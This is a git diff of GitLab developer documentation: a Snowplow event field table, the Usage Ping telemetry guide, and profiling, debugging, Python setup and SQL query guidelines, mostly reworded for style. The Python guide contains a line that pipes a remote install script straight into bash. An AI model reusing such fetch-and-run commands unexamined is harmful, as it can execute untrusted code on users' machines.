+| refr_domain_userid | **{dotted-circle}** | string | The Snowplow domain_userid of the referring website |
+| refr_dvce_tstamp | **{dotted-circle}** | timestamp | The time of attaching the domain_userid to the inbound link |
+| refr_medium | **{dotted-circle}** | string | Type of referer |
+| refr_source | **{dotted-circle}** | string | Name of referer if recognised |
+| refr_term | **{dotted-circle}** | string | Keywords if source is a search engine |
+| refr_urlfragment | **{dotted-circle}** | string | Referer URL fragment |
+| refr_urlhost | **{dotted-circle}** | string | Referer host |
+| refr_urlpath | **{dotted-circle}** | string | Referer page path |
+| refr_urlport | **{dotted-circle}** | integer | Referer port |
+| refr_urlquery | **{dotted-circle}** | string | Referer URL querystring |
+| refr_urlscheme | **{dotted-circle}** | string | Referer scheme |
+| se_action | **{dotted-circle}** | string | The action / event itself |
+| se_category | **{dotted-circle}** | string | The category of event |
+| se_label | **{dotted-circle}** | string | A label often used to refer to the ‘object’ the action is performed on |
+| se_property | **{dotted-circle}** | string | A property associated with either the action or the object |
+| se_value | **{dotted-circle}** | decimal | A value associated with the user action |
+| ti_category | **{dotted-circle}** | string | Item category |
+| ti_currency | **{dotted-circle}** | string | Currency |
+| ti_name | **{dotted-circle}** | string | Item name |
+| ti_orderid | **{dotted-circle}** | string | Order ID |
+| ti_price | **{dotted-circle}** | decimal | Item price |
+| ti_price_base | **{dotted-circle}** | decimal | Item price in base currency |
+| ti_quantity | **{dotted-circle}** | integer | Item quantity |
+| ti_sku | **{dotted-circle}** | string | Item SKU |
+| tr_affiliation | **{dotted-circle}** | string | Transaction affiliation (such as channel) |
+| tr_city | **{dotted-circle}** | string | Delivery address: city |
+| tr_country | **{dotted-circle}** | string | Delivery address: country |
+| tr_currency | **{dotted-circle}** | string | Transaction Currency |
+| tr_orderid | **{dotted-circle}** | string | Order ID |
+| tr_shipping | **{dotted-circle}** | decimal | Delivery cost charged |
+| tr_shipping_base | **{dotted-circle}** | decimal | Shipping cost in base currency |
+| tr_state | **{dotted-circle}** | string | Delivery address: state |
+| tr_tax | **{dotted-circle}** | decimal | Transaction tax value (such as amount of VAT included) |
+| tr_tax_base | **{dotted-circle}** | decimal | Tax applied in base currency |
+| tr_total | **{dotted-circle}** | decimal | Transaction total value |
+| tr_total_base | **{dotted-circle}** | decimal | Total amount of transaction in base currency |
+| true_tstamp | **{dotted-circle}** | timestamp | User-set exact timestamp |
+| txn_id | **{dotted-circle}** | string | Transaction ID |
+| unstruct_event | **{dotted-circle}** | JSON | The properties of the event |
+| uploaded_at | **{dotted-circle}** | | |
+| user_fingerprint | **{dotted-circle}** | integer | User identifier based on (hopefully unique) browser features |
+| user_id | **{dotted-circle}** | string | Unique identifier for user, set by the business using setUserId |
+| user_ipaddress | **{dotted-circle}** | string | IP address |
+| useragent | **{dotted-circle}** | string | User agent (expressed as a browser string) |
+| v_collector | **{dotted-circle}** | string | Collector version |
+| v_etl | **{dotted-circle}** | string | ETL version |
+| v_tracker | **{dotted-circle}** | string | Identifier for Snowplow tracker |
diff --git a/doc/development/product_analytics/usage_ping.md b/doc/development/product_analytics/usage_ping.md
index fa785d934cb..37363bbabbc 100644
--- a/doc/development/product_analytics/usage_ping.md
+++ b/doc/development/product_analytics/usage_ping.md
@@ -1,7 +1,7 @@
---
stage: Growth
group: Product Analytics
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Usage Ping Guide
@@ -31,15 +31,15 @@ More useful links:
- The usage data is primarily composed of row counts for different tables in the instance’s database. By comparing these counts month over month (or week over week), we can get a rough sense for how an instance is using the different features within the product. In addition to counts, other facts
that help us classify and understand GitLab installations are collected.
- Usage ping is important to GitLab as we use it to calculate our Stage Monthly Active Users (SMAU) which helps us measure the success of our stages and features.
-- While usage ping is enabled, GitLab will gather data from the other instances and will be able to show usage statistics of your instance to your users.
+- While usage ping is enabled, GitLab gathers data from the other instances and can show usage statistics of your instance to your users.
### Why should we enable Usage Ping?
- The main purpose of Usage Ping is to build a better GitLab. Data about how GitLab is used is collected to better understand feature/stage adoption and usage, which helps us understand how GitLab is adding value and helps our team better understand the reasons why people use GitLab and with this knowledge we're able to make better product decisions.
- As a benefit of having the usage ping active, GitLab lets you analyze the users’ activities over time of your GitLab installation.
- As a benefit of having the usage ping active, GitLab provides you with The DevOps Report,which gives you an overview of your entire instance’s adoption of Concurrent DevOps from planning to monitoring.
-- You will get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value)
-- You will get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization?
+- You get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value)
+- You get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization?
- You get a report that illustrates how you compare against other similar organizations (anonymized), with specific advice and recommendations on how to improve your DevOps processes.
- Usage Ping is enabled by default. To disable it, see [Disable Usage Ping](#disable-usage-ping).
@@ -80,7 +80,7 @@ production: &base
## Usage Ping request flow
-The following example shows a basic request/response flow between a GitLab instance, the Versions Application, the License Application, Salesforce, GitLab's S3 Bucket, GitLab's Snowflake Data Warehouse, and Sisense:
+The following example shows a basic request/response flow between a GitLab instance, the Versions Application, the License Application, Salesforce, the GitLab S3 Bucket, the GitLab Snowflake Data Warehouse, and Sisense:
```mermaid
sequenceDiagram
@@ -117,7 +117,10 @@ sequenceDiagram
1. When the cron job runs, it calls [`GitLab::UsageData.to_json`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L22).
1. `GitLab::UsageData.to_json` [cascades down](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb#L22) to ~400+ other counter method calls.
1. The response of all methods calls are [merged together](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data.rb#L14) into a single JSON payload in `GitLab::UsageData.to_json`.
-1. The JSON payload is then [posted to the Versions application]( https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L20).
+1. The JSON payload is then [posted to the Versions application]( https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/submit_usage_ping_service.rb#L20)
+ If a firewall exception is needed, the required URL depends on several things. If
+ the hostname is `version.gitlab.com`, the protocol is `TCP`, and the port number is `443`,
+ the required URL is <https://version.gitlab.com/>.
## Implementing Usage Ping
@@ -134,7 +137,7 @@ There are several types of counters which are all found in `usage_data.rb`:
- **Alternative Counters:** Used for settings and configurations
- **Redis Counters:** Used for in-memory counts.
-NOTE: **Note:**
+NOTE:
Only use the provided counter methods. Each counter method contains a built in fail safe to isolate each counter to avoid breaking the entire Usage Ping.
### Why batch counting
@@ -189,7 +192,7 @@ Arguments:
- `relation` the ActiveRecord_Relation to perform the count
- `column` the column to perform the distinct count, by default is the primary key
- `batch`: default `true` in order to use batch counting
-- `batch_size`: if none set it will use default value 10000 from `Gitlab::Database::BatchCounter`
+- `batch_size`: if none set it uses default value 10000 from `Gitlab::Database::BatchCounter`
- `start`: custom start of the batch counting in order to avoid complex min calculations
- `end`: custom end of the batch counting in order to avoid complex min calculations
@@ -213,7 +216,7 @@ Arguments:
- `relation` the ActiveRecord_Relation to perform the operation
- `column` the column to sum on
-- `batch_size`: if none set it will use default value 1000 from `Gitlab::Database::BatchCounter`
+- `batch_size`: if none set it uses default value 1000 from `Gitlab::Database::BatchCounter`
- `start`: custom start of the batch counting in order to avoid complex min calculations
- `end`: custom end of the batch counting in order to avoid complex min calculations
@@ -262,6 +265,45 @@ Examples of implementation:
- Using Redis methods [`INCR`](https://redis.io/commands/incr), [`GET`](https://redis.io/commands/get), and [`Gitlab::UsageDataCounters::WikiPageCounter`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/wiki_page_counter.rb)
- Using Redis methods [`HINCRBY`](https://redis.io/commands/hincrby), [`HGETALL`](https://redis.io/commands/hgetall), and [`Gitlab::UsageCounters::PodLogs`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_counters/pod_logs.rb)
+##### UsageData API Tracking
+
+<!-- There's nearly identical content in `##### Adding new events`. If you fix errors here, you may need to fix the same errors in the other location. -->
+
+1. Track event using `UsageData` API
+
+ Increment event count using ordinary Redis counter, for given event name.
+
+ Tracking events using the `UsageData` API requires the `usage_data_api` feature flag to be enabled, which is enabled by default.
+
+ API requests are protected by checking for a valid CSRF token.
+
+ In order to be able to increment the values the related feature `usage_data_<event_name>` should be enabled.
+
+ ```plaintext
+ POST /usage_data/increment_counter
+ ```
+
+ | Attribute | Type | Required | Description |
+ | :-------- | :--- | :------- | :---------- |
+ | `event` | string | yes | The event name it should be tracked |
+
+ Response
+
+ - `200` if event was tracked
+ - `400 Bad request` if event parameter is missing
+ - `401 Unauthorized` if user is not authenticated
+ - `403 Forbidden` for invalid CSRF token provided
+
+1. Track events using JavaScript/Vue API helper which calls the API above
+
+ Note that `usage_data_api` and `usage_data_#{event_name}` should be enabled in order to be able to track events
+
+ ```javascript
+ import api from '~/api';
+
+ api.trackRedisCounterEvent('my_already_defined_event_name'),
+ ```
+
#### Redis HLL Counters
With `Gitlab::UsageDataCounters::HLLRedisCounter` we have available data structures used to count unique values.
@@ -304,14 +346,13 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF
access to a group of events.
- `redis_slot`: optional Redis slot; default value: event name. Used if needed to calculate totals
for a group of metrics. Ensure keys are in the same slot. For example:
- `i_compliance_credential_inventory` with `redis_slot: 'compliance'` will build Redis key
+ `i_compliance_credential_inventory` with `redis_slot: 'compliance'` builds Redis key
`i_{compliance}_credential_inventory-2020-34`. If `redis_slot` is not defined the Redis key will
be `{i_compliance_credential_inventory}-2020-34`.
- `expiry`: expiry time in days. Default: 29 days for daily aggregation and 6 weeks for weekly
aggregation.
- - `aggregation`: aggregation `:daily` or `:weekly`. The argument defines how we build the Redis
- keys for data storage. For `daily` we keep a key for metric per day of the year, for `weekly` we
- keep a key for metric per week of the year.
+ - `aggregation`: may be set to a `:daily` or `:weekly` key. Defines how counting data is stored in Redis.
+ Aggregation on a `daily` basis does not pull more fine grained data.
- `feature_flag`: optional. For details, see our [GitLab internal Feature flags](../feature_flags/) documentation.
1. Track event in controller using `RedisTracking` module with `track_redis_hll_event(*controller_actions, name:, feature:, feature_default_enabled: false)`.
@@ -384,6 +425,8 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF
track_usage_event(:incident_management_incident_created, current_user.id)
```
+<!-- There's nearly identical content in `##### UsageData API Tracking`. If you find / fix errors here, you may need to fix errors in that section too. -->
+
1. Track event using `UsageData` API
Increment unique users count using Redis HLL, for given event name.
@@ -392,7 +435,9 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF
API requests are protected by checking for a valid CSRF token.
- In order to be able to increment the values the related feature `usage_data<event_name>` should be enabled.
+ In order to increment the values, the related feature `usage_data_<event_name>` should be
+ set to `default_enabled: true`. For more information, see
+ [Feature flags in development of GitLab](../feature_flags/index.md).
```plaintext
POST /usage_data/increment_unique_users
@@ -415,7 +460,10 @@ Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PF
Example usage for an existing event already defined in [known events](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/):
- Note that `usage_data_api` and `usage_data_#{event_name}` should be enabled in order to be able to track events
+ Usage Data API is behind `usage_data_api` feature flag which, as of GitLab 13.7, is
+ now set to `default_enabled: true`.
+
+ Each event tracked using Usage Data API is behind a feature flag `usage_data_#{event_name}` which should be `default_enabled: true`
```javascript
import api from '~/api';
@@ -464,21 +512,25 @@ Next, get the unique events for the current week.
start_date: Date.current.beginning_of_week, end_date: Date.current.end_of_week)
```
-Recommendations:
+##### Recommendations
+
+We have the following recommendations for [Adding new events](#adding-new-events):
-- Key should expire in 29 days for daily and 42 days for weekly.
-- If possible, data granularity should be a week. For example a key could be composed from the
- metric's name and week of the year, `2020-33-{metric_name}`.
-- Use a [feature flag](../../operations/feature_flags.md) to have a control over the impact when
- adding new metrics.
+- Event aggregation: weekly.
+- Key expiry time:
+ - Daily: 29 days.
+ - Weekly: 42 days.
+- When adding new metrics, use a [feature flag](../../operations/feature_flags.md) to control the impact.
+- For feature flags triggered by another service, set `default_enabled: false`,
+ - Events can be triggered using the `UsageData` API, which helps when there are > 10 events per change
##### Enable/Disable Redis HLL tracking
Events are tracked behind [feature flags](../feature_flags/index.md) due to concerns for Redis performance and scalability.
-For a full list of events and coresponding feature flags see, [known_events](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/) files.
+For a full list of events and corresponding feature flags see, [known_events](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/) files.
-To enable or disable tracking for specific event within <https://gitlab.com> or <https://staging.gitlab.com>, run commands such as the following to
+To enable or disable tracking for specific event within <https://gitlab.com> or <https://about.staging.gitlab.com>, run commands such as the following to
[enable or disable the corresponding feature](../feature_flags/index.md).
```shell
@@ -567,14 +619,14 @@ alt_usage_data(999)
### Prometheus Queries
In those cases where operational metrics should be part of Usage Ping, a database or Redis query is unlikely
-to provide useful data. Instead, Prometheus might be more appropriate, since most of GitLab's architectural
+to provide useful data. Instead, Prometheus might be more appropriate, since most GitLab architectural
components publish metrics to it that can be queried back, aggregated, and included as usage data.
-NOTE: **Note:**
+NOTE:
Prometheus as a data source for Usage Ping is currently only available for single-node Omnibus installations
that are running the [bundled Prometheus](../../administration/monitoring/prometheus/index.md) instance.
-In order to query Prometheus for metrics, a helper method is available that will `yield` a fully configured
+To query Prometheus for metrics, a helper method is available to `yield` a fully configured
`PrometheusClient`, given it is available as per the note above:
```ruby
@@ -613,7 +665,7 @@ Gitlab::UsageData.distinct_count(::Note.with_suggestions.where(time_period), :au
### 3. Generate the SQL query
-Your Rails console will return the generated SQL queries.
+Your Rails console returns the generated SQL queries.
Example:
@@ -631,7 +683,7 @@ Paste the SQL query into `#database-lab` to see how the query performs at scale.
- `#database-lab` is a Slack channel which uses a production-sized environment to test your queries.
- GitLab.com’s production database has a 15 second timeout.
-- Any single query must stay below 1 second execution time with cold caches.
+- Any single query must stay below [1 second execution time](../query_performance.md#timing-guidelines-for-queries) with cold caches.
- Add a specialized index on columns involved to reduce the execution time.
In order to have an understanding of the query's execution we add in the MR description the following information:
@@ -654,7 +706,7 @@ We also use `#database-lab` and [explain.depesz.com](https://explain.depesz.com/
### 5. Add the metric definition
-When adding, changing, or updating metrics, please update the [Event Dictionary's **Usage Ping** table](https://about.gitlab.com/handbook/product/product-analytics-guide#event-dictionary).
+When adding, changing, or updating metrics, please update the [Event Dictionary's **Usage Ping** table](https://about.gitlab.com/handbook/product/product-analytics-guide/#event-dictionary).
### 6. Add new metric to Versions Application
@@ -670,7 +722,7 @@ Ensure you comply with the [Changelog entries guide](../changelog.md).
### 9. Ask for a Product Analytics Review
-On GitLab.com, we have DangerBot setup to monitor Product Analytics related files and DangerBot will recommend a Product Analytics review. Mention `@gitlab-org/growth/product_analytics/engineers` in your MR for a review.
+On GitLab.com, we have DangerBot setup to monitor Product Analytics related files and DangerBot recommends a Product Analytics review. Mention `@gitlab-org/growth/product_analytics/engineers` in your MR for a review.
### 10. Verify your metric
@@ -696,10 +748,10 @@ This is the recommended approach to test Prometheus based Usage Ping.
The easiest way to verify your changes is to build a new Omnibus image from your code branch via CI, then download the image
and run a local container instance:
-1. From your merge request, click on the `qa` stage, then trigger the `package-and-qa` job. This job will trigger an Omnibus
+1. From your merge request, click on the `qa` stage, then trigger the `package-and-qa` job. This job triggers an Omnibus
build in a [downstream pipeline of the `omnibus-gitlab-mirror` project](https://gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/-/pipelines).
1. In the downstream pipeline, wait for the `gitlab-docker` job to finish.
-1. Open the job logs and locate the full container name including the version. It will take the following form: `registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`.
+1. Open the job logs and locate the full container name including the version. It takes the following form: `registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`.
1. On your local machine, make sure you are logged in to the GitLab Docker registry. You can find the instructions for this in
[Authenticate to the GitLab Container Registry](../../user/packages/container_registry/index.md#authenticate-with-the-container-registry).
1. Once logged in, download the new image via `docker pull registry.gitlab.com/gitlab-org/build/omnibus-gitlab-mirror/gitlab-ee:<VERSION>`
@@ -720,7 +772,7 @@ but with the following limitations:
- While it runs a `node_exporter`, `docker-compose` services emulate hosts, meaning that it would normally report itself to not be associated
with any of the other services that are running. That is not how node metrics are reported in a production setup, where `node_exporter`
always runs as a process alongside other GitLab components on any given node. From Usage Ping's perspective none of the node data would therefore
-appear to be associated to any of the services running, since they all appear to be running on different hosts. To alleviate this problem, the `node_exporter` in GCK was arbitrarily "assigned" to the `web` service, meaning only for this service `node_*` metrics will appear in Usage Ping.
+appear to be associated to any of the services running, since they all appear to be running on different hosts. To alleviate this problem, the `node_exporter` in GCK was arbitrarily "assigned" to the `web` service, meaning only for this service `node_*` metrics appears in Usage Ping.
## Aggregated metrics
@@ -728,19 +780,19 @@ appear to be associated to any of the services running, since they all appear to
> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
> - It's enabled on GitLab.com.
-CAUTION: **Warning:**
+WARNING:
This feature is intended solely for internal GitLab use.
In order to add data for aggregated metrics into Usage Ping payload you should add corresponding definition into [`aggregated_metrics.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/aggregated_metrics.yml) file. Each aggregate definition includes following parts:
-- name: unique name under which aggregate metric will be added to Usage Ping payload
-- operator: operator that defines how aggregated metric data will be counted. Available operators are:
+- name: unique name under which aggregate metric is added to Usage Ping payload
+- operator: operator that defines how aggregated metric data is counted. Available operators are:
- `OR`: removes duplicates and counts all entries that triggered any of listed events
- `AND`: removes duplicates and counts all elements that were observed triggering all of following events
- events: list of events names (from [`known_events.yml`](#known-events-in-usage-data-payload)) to aggregate into metric. All events in this list must have the same `redis_slot` and `aggregation` attributes.
-- feature_flag: name of [development feature flag](../feature_flags/development.md#development-type) that will be checked before
-metrics aggregation is performed. Corresponding feature flag should have `default_enabled` attribute set to `false`.
-`feature_flag` attribute is **OPTIONAL** and can be omitted, when `feature_flag` is missing no feature flag will be checked.
+- feature_flag: name of [development feature flag](../feature_flags/development.md#development-type) that is checked before
+metrics aggregation is performed. Corresponding feature flag should have `default_enabled` attribute set to `false`.
+`feature_flag` attribute is **OPTIONAL** and can be omitted, when `feature_flag` is missing no feature flag is checked.
Example aggregated metric entries:
@@ -754,7 +806,7 @@ Example aggregated metric entries:
feature_flag: example_aggregated_metric
```
-Aggregated metrics will be added under `aggregated_metrics` key in both `counts_weekly` and `counts_monthly` top level keys in Usage Ping payload.
+Aggregated metrics are added under `aggregated_metrics` key in both `counts_weekly` and `counts_monthly` top level keys in Usage Ping payload.
```ruby
{
@@ -857,44 +909,6 @@ The following is example content of the Usage Ping payload.
"version": "9.6.15",
"pg_system_id": 6842684531675334351
},
- "avg_cycle_analytics": {
- "issue": {
- "average": 999,
- "sd": 999,
- "missing": 999
- },
- "plan": {
- "average": null,
- "sd": 999,
- "missing": 999
- },
- "code": {
- "average": null,
- "sd": 999,
- "missing": 999
- },
- "test": {
- "average": null,
- "sd": 999,
- "missing": 999
- },
- "review": {
- "average": null,
- "sd": 999,
- "missing": 999
- },
- "staging": {
- "average": null,
- "sd": 999,
- "missing": 999
- },
- "production": {
- "average": null,
- "sd": 999,
- "missing": 999
- },
- "total": 999
- },
"analytics_unique_visits": {
"g_analytics_contribution": 999,
...
diff --git a/doc/development/profiling.md b/doc/development/profiling.md
index 6e1b81e659d..76c89d361fc 100644
--- a/doc/development/profiling.md
+++ b/doc/development/profiling.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Profiling
@@ -24,7 +24,7 @@ When using the script, command-line documentation is available by passing no
arguments.
When using the method in an interactive console session, any changes to the
-application code within that console session will be reflected in the profiler
+application code within that console session is reflected in the profiler
output.
For example:
@@ -37,14 +37,14 @@ Gitlab::Profiler.profile('/my-user')
# Returns a RubyProf::Profile where 100 seconds is spent in UsersController#show
```
-For routes that require authorization you will need to provide a user to
+For routes that require authorization you must provide a user to
`Gitlab::Profiler`. You can do this like so:
```ruby
Gitlab::Profiler.profile('/gitlab-org/gitlab-test', user: User.first)
```
-Passing a `logger:` keyword argument to `Gitlab::Profiler.profile` will send
+Passing a `logger:` keyword argument to `Gitlab::Profiler.profile` sends
ActiveRecord and ActionController log output to that logger. Further options are
documented with the method source.
@@ -123,7 +123,7 @@ starting GitLab. For example:
ENABLE_BULLET=true bundle exec rails s
```
-Bullet will log query problems to both the Rails log as well as the Chrome
+Bullet logs query problems to both the Rails log as well as the Chrome
console.
As a follow up to finding `N+1` queries with Bullet, consider writing a [QueryRecoder test](query_recorder.md) to prevent a regression.
diff --git a/doc/development/projections.md b/doc/development/projections.md
index b8f476c53e9..e62f13981c9 100644
--- a/doc/development/projections.md
+++ b/doc/development/projections.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Projections
diff --git a/doc/development/prometheus.md b/doc/development/prometheus.md
index fc1f2303d0a..62f30871f54 100644
--- a/doc/development/prometheus.md
+++ b/doc/development/prometheus.md
@@ -3,3 +3,6 @@ redirect_to: '../user/project/integrations/prometheus.md'
---
This document was moved to [another location](../user/project/integrations/prometheus.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/prometheus_metrics.md b/doc/development/prometheus_metrics.md
index 8fcc025b35b..df13cb7d56c 100644
--- a/doc/development/prometheus_metrics.md
+++ b/doc/development/prometheus_metrics.md
@@ -1,7 +1,7 @@
---
stage: Monitor
group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Working with Prometheus Metrics
@@ -31,7 +31,7 @@ The requirement for adding a new metric is to make each query to have an unique
### Update existing metrics
-After you add or change an existing common metric, you must [re-run the import script](../administration/raketasks/maintenance.md#import-common-metrics) that will query and update all existing metrics.
+After you add or change an existing common metric, you must [re-run the import script](../administration/raketasks/maintenance.md#import-common-metrics) that queries and updates all existing metrics.
Or, you can create a database migration:
@@ -51,7 +51,7 @@ class ImportCommonMetrics < ActiveRecord::Migration[4.2]
end
```
-If a query metric (which is identified by `id:`) is removed it will not be removed from database by default.
+If a query metric (which is identified by `id:`) is removed, it isn't removed from database by default.
You might want to add additional database migration that makes a decision what to do with removed one.
For example: you might be interested in migrating all dependent data to a different metric.
@@ -75,5 +75,5 @@ This section describes how to add new metrics for self-monitoring
1. Select the appropriate name for your metric. Refer to the guidelines
for [Prometheus metric names](https://prometheus.io/docs/practices/naming/#metric-names).
1. Update the list of [GitLab Prometheus metrics](../administration/monitoring/prometheus/gitlab_metrics.md).
-1. Trigger the relevant page/code that will record the new metric.
+1. Trigger the relevant page or code that records the new metric.
1. Check that the new metric appears at `/-/metrics`.
diff --git a/doc/development/pry_debugging.md b/doc/development/pry_debugging.md
index 7f9a49d4d50..f29e0d403cd 100644
--- a/doc/development/pry_debugging.md
+++ b/doc/development/pry_debugging.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Pry debugging
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
## Invoking pry debugging
To invoke the debugger, place `binding.pry` somewhere in your
-code. When the Ruby interpreter hits that code, execution will stop,
+code. When the Ruby interpreter hits that code, execution stops,
and you can type in commands to debug the state of the program
## `byebug` vs `binding.pry`
@@ -20,7 +20,7 @@ use the powerful Pry REPL.
`binding.pry` uses Pry, but lacks some of the `byebug`
features. GitLab uses the [`pry-byebug`](https://github.com/deivid-rodriguez/pry-byebug)
gem. This gem brings some capabilities `byebug` to `binding.pry`, so
-using that, will give you the most debugging powers.
+using that gives you the most debugging powers.
## `byebug`
@@ -104,7 +104,7 @@ You also can move around in the callstack with these commands:
- `down`: Moves the stack frame down. Takes an optional numeric
argument to move multiple frames.
- `frame <n>`: Moves to a specific frame. Called without arguments
- will show the current frame.
+ displays the current frame.
## Short commands
diff --git a/doc/development/python_guide/index.md b/doc/development/python_guide/index.md
index 22a01c3b877..3291b6c31a9 100644
--- a/doc/development/python_guide/index.md
+++ b/doc/development/python_guide/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Python Development Guidelines
@@ -30,16 +30,16 @@ brew install pyenv
To install `pyenv` on Linux, you can run the command below:
```shell
-curl https://pyenv.run | bash
+curl "https://pyenv.run" | bash
```
-Alternatively, you may find `pyenv` available as a system package via your distro package manager.
+Alternatively, you may find `pyenv` available as a system package via your distribution's package manager.
You can read more about it in: <https://github.com/pyenv/pyenv-installer#prerequisites>.
### Shell integration
-Pyenv installation will add required changes to Bash. If you use a different shell,
+Pyenv installation adds required changes to Bash. If you use a different shell,
check for any additional steps required for it.
For Fish, you can install a plugin for [Fisher](https://github.com/jorgebucaran/fisher):
@@ -63,13 +63,13 @@ on the main project level, so we can run that on our development machines.
Recently, an equivalent to the `Gemfile` and the [Bundler](https://bundler.io/) project has been introduced to Python:
`Pipfile` and [Pipenv](https://pipenv.readthedocs.io/en/latest/).
-You will now find a `Pipfile` with the dependencies in the root folder. To install them, run:
+A `Pipfile` with the dependencies now exists in the root folder. To install them, run:
```shell
pipenv install
```
-Running this command will install both the required Python version as well as required pip dependencies.
+Running this command installs both the required Python version as well as required pip dependencies.
## Use instructions
@@ -80,5 +80,5 @@ of the application. With Pipenv, this is a simple as running:
pipenv shell
```
-After running that command, you can run GitLab on the same shell and it will be using the Python and dependencies
+After running that command, you can run GitLab on the same shell and it uses the Python and dependencies
installed from the `pipenv install` command.
diff --git a/doc/development/query_count_limits.md b/doc/development/query_count_limits.md
index 07dcb6c7d90..a9569fee8cc 100644
--- a/doc/development/query_count_limits.md
+++ b/doc/development/query_count_limits.md
@@ -1,13 +1,13 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Query Count Limits
Each controller or API endpoint is allowed to execute up to 100 SQL queries and
-in test environments we'll raise an error when this threshold is exceeded.
+in test environments we raise an error when this threshold is exceeded.
## Solving Failing Tests
@@ -20,18 +20,18 @@ solutions to this problem:
You should only resort to whitelisting when an existing controller or endpoint
is to blame as in this case reducing the number of SQL queries can take a lot of
effort. Newly added controllers and endpoints are not allowed to execute more
-than 100 SQL queries and no exceptions will be made for this rule. _If_ a large
+than 100 SQL queries and no exceptions are made for this rule. _If_ a large
number of SQL queries is necessary to perform certain work it's best to have
this work performed by Sidekiq instead of doing this directly in a web request.
## Whitelisting
-In the event that you _have_ to whitelist a controller you'll first need to
+In the event that you _have_ to whitelist a controller you must first
create an issue. This issue should (preferably in the title) mention the
controller or endpoint and include the appropriate labels (`database`,
`performance`, and at least a team specific label such as `Discussion`).
-Once the issue has been created you can whitelist the code in question. For
+After the issue has been created you can whitelist the code in question. For
Rails controllers it's best to create a `before_action` hook that runs as early
as possible. The called method in turn should call
`Gitlab::QueryLimiting.whitelist('issue URL here')`. For example:
diff --git a/doc/development/query_performance.md b/doc/development/query_performance.md
new file mode 100644
index 00000000000..c61d2a0864f
--- /dev/null
+++ b/doc/development/query_performance.md
@@ -0,0 +1,74 @@
+---
+stage: Enablement
+group: Database
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Query performance guidelines
+
+This document describes various guidelines to follow when optimizing SQL queries.
+
+When you are optimizing your SQL queries, there are two dimensions to pay attention to:
+
+1. The query execution time. This is paramount as it reflects how the user experiences GitLab.
+1. The query plan. Optimizing the query plan is important in allowing queries to independently scale over time. Realizing that an index will keep a query performing well as the table grows before the query degrades is an example of why we analyze these plans.
+
+## Timing guidelines for queries
+
+| Query Type | Maximum Query Time | Notes |
+|----|----|---|
+| General queries | `100ms` | This is not a hard limit, but if a query is getting above it, it is important to spend time understanding why it can or cannot be optimized. |
